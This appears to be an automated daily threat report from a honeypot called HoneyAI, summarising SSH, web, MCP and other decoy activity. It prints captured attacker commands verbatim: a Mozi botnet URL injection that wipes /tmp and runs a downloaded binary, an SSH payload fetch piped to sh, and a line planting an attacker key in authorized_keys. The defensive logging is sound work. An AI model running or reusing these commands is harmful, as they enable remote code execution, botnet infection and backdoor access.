Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 91566946b1d8deb0
- aad3f9ba1d6740cc
- 8d969eef6ecad3c2
- 8c6976e5b5410415
- 5e884898da280471
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 84 scanner requests from 33 unique IPs (local, offline).
Top Paths Probed
- /
- /SDK/webLanguage
- /login
- /goform/set_LimitClient_cfg
- /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://72.255.18.205:47734/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
Top User-Agents
- Mozilla/5.0
- Go-http-client/1.1
- Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
- Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36
- Mozilla/5.0 zgrab/0.x
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **22** reverse port-scans against active attacker IPs. Out of these, **20** hosts were found with open services.
Discovered Open Ports on Attackers
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
91566946b1d8deb0 aad3f9ba1d6740cc 8d969eef6ecad3c2 8c6976e5b5410415 5e884898da280471 💻 Commands They Tried
uname -a; echo -e $_dq\x61\x75\x74\x68\x5F\x6F\x6B\x0A$_dq; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9 Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU= -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh uname -s -m uname -a cd ~ && rm -rf .ssh && mkdir .ssh && echo $_dqssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr$_dq>>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ /bin/./uname -s -v -n -r -m These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 17 de junio de 2026. Recorded 1023 SSH connections and 17952 multi-protocol decoy events on HoneyAI, from 228 unique IPs. 0 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 597 login attempts from 132 unique IPs. Attackers executed 426 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 17952 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 96 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 84 HTTP requests from real scanners across 33 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 3 requests from 1 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 15441 authentication events from 7 IPs. The SNMP trap received 29 queries from 17 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 146 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 22 reverse port scans back to active attacker IPs. Out of these, 20 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 15229 alerts from 1131 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.